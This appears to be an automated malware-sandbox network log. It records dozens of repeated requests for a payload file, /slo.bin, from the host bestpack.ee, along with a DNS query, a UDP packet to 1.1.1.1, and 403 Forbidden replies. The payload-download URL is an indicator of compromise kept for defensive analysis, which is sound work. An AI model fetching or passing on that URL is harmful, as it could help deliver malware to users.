Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: bestpack.ee

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 16:58:48 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 16:58:59 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 16:59:11 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 16:59:22 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 16:59:34 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 16:59:45 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 16:59:56 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 17:00:08 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 17:00:19 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 17:00:31 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 17:00:42 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 17:00:53 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 17:01:05 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 27 Sep 2024 17:01:16 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
